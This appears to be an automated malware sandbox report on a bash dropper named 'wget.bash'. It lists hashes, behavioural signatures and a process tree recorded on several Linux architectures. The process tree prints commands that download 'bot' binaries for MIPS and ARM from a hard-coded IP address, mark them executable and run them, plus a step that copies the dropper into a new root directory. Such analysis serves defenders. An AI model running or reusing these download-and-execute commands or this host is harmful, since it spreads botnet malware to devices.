Analysis
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max time kernel
0s -
max time network
681s -
platform
linux_armhf -
resource
debian9-armhf-en-20211208 -
resource tags
arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
09-08-2022 18:31
Static task
static1
Behavioral task
behavioral1
Sample
wget.bash
Resource
ubuntu1804-amd64-en-20211208
Behavioral task
behavioral2
Sample
wget.bash
Resource
debian9-armhf-en-20211208
Behavioral task
behavioral3
Sample
wget.bash
Resource
debian9-mipsbe-en-20211208
Behavioral task
behavioral4
Sample
wget.bash
Resource
debian9-mipsel-en-20211208
General
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Target
wget.bash
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Size
2KB
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MD5
9486bdff70b6ec6243b012a91e90c21e
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SHA1
2364e70ee0d49e4e641fa7428958f5907a8c26a3
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SHA256
2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826
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SHA512
e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd
Malware Config
Signatures
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Reads runtime system information 3 IoCs
Reads data from /proc virtual filesystem.
Processes:
mkdirmvdescription ioc /proc/384/exe /proc/384/exe /proc/filesystems /proc/filesystems mkdir /proc/filesystems /proc/filesystems mv -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wget.bashdescription ioc process /tmp/wget.bash /tmp/wget.bash wget.bash
Processes
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/tmp/wget.bash/tmp/wget.bash1⤵
- Writes file to tmp directory
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/usr/bin/wgetwget http://109.206.241.211/bins/bot.mips2⤵
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/bin/catcat bot.mips2⤵
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/bin/chmodchmod +x bot.mips fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash2⤵
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./fuwwyowo./fuwwyowo ssh2⤵
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/usr/bin/wgetwget http://109.206.241.211/bins/bot.mpsl2⤵
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/bin/catcat bot.mpsl2⤵
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/bin/chmodchmod +x bot.mips bot.mpsl fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash2⤵
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./fuwwyowo./fuwwyowo ssh2⤵
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/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm2⤵
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/bin/catcat bot.arm2⤵
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/bin/chmodchmod +x bot.arm bot.mips bot.mpsl fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash2⤵
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./fuwwyowo./fuwwyowo ssh2⤵
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/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm52⤵
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/bin/catcat bot.arm52⤵
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/bin/chmodchmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash2⤵
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./fuwwyowo./fuwwyowo ssh2⤵
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/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm62⤵
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/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash2⤵
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/bin/shsh -c "mkdir /9kcgofeb9g/ && >/9kcgofeb9g/9kcgofeb9g && cd /9kcgofeb9g/ >/dev/null"1⤵
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/bin/mkdirmkdir /9kcgofeb9g/2⤵
- Reads runtime system information
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/bin/shsh -c "mv /tmp/fuwwyowo /9kcgofeb9g/9kcgofeb9g && chmod 777 /9kcgofeb9g/9kcgofeb9g >/dev/null"1⤵
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/bin/mvmv /tmp/fuwwyowo /9kcgofeb9g/9kcgofeb9g2⤵
- Reads runtime system information
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/bin/chmodchmod 777 /9kcgofeb9g/9kcgofeb9g2⤵